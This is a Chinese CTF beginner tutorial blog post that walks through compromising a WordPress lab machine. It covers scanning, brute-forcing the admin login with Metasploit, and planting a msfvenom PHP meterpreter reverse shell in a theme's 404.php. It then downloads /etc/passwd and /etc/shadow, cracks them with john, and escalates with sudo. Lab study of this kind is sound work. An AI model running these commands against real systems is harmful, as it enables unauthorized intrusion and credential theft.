6-6CTF夺旗入门教程--暴力破解

最新推荐文章于 2025-04-07 16:28:12 发布

The Riddler.

最新推荐文章于 2025-04-07 16:28:12 发布

阅读量1k

点赞数 1

CC 4.0 BY-SA版权

分类专栏： CTF学习文章标签： linux 安全

本文链接：https://blog.csdn.net/m0_46622606/article/details/105892770

CTF学习专栏收录该内容

22 篇文章

订阅专栏

本文详细介绍了一次完整的渗透测试过程，从信息探测、深入挖掘、暴力破解到上传webshell获取控制权，再到root权限提升，最后总结了关键步骤。通过实例演示了如何利用nmap、nikto等工具进行信息收集，如何利用msfconsole进行暴力破解，以及如何上传webshell并提权。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.信息探测

#扫描主机服务信息以及服务版本
nmap -sV 192.168.2.108
#快速扫描主机全部信息
nmap -T4 -A -v 192.168.2.108
#探测敏感信息
nikto -host http://192.168.2.108
dirb http://192.168.2.108

2.深入挖掘

分析nmap、nikto扫描结果，分析挖掘可以利用的信息
查看http敏感页面
由于服务器跳转的页面无法访问，尝试制定解析到IP
http://vtcsec/secret/wp-login.php

#编辑hosts文件，制定域名解析到靶场IP
gedit /etc/hosts
192.168.2.108   vtcsec

3.暴力破解

对登录网页进行用户名探测
(kali中的wpscan打不开不知道为什么)

wpscan --url vtcsec/secret/ --enumerate u

用户名探测为admin

msfconsole
>use auxiliary/scanner/http/wordpress_login_enum
>set username admin
>set pass_file /usr/share/wordlists/dirb/common.txt
>set targeturi /secret/
>set rhosts 192.168.2.108
>run

结果：
在这里插入图片描述

4.上传webshell获取控制权

制作webshell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.2.110 lport=4444

twentyseventeen 的404.php可以上传webshell
监听4444端口

> use exploit/multi/handler 
> set payload php/meterpreter/reverse_tcp
> set lhost 192.168.2.110
> run

执行shell，获取反弹shell

http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php

查看系统信息，用户权限
在这里插入图片描述

5.root权限

利用返回shell下载

download /etc/passwd
download /etc/shadow

将文件转换为john可识别的格式

unshadow passwd shadow > cracked

使用john破解密码

john cracked

在这里插入图片描述

启动终端

python -c "import pty;pty.spawn('/bin/bash')"
#登录用户
su - marlinspike
#提权
sudo -l
sudo bash

6.总结

提权时可以抓取/etc/passwd和/etc/shadow，之后使用john来破解对应密码，使用用户名密码提权
对于wp渗透中，启动对应的主题，在404页面上传webshell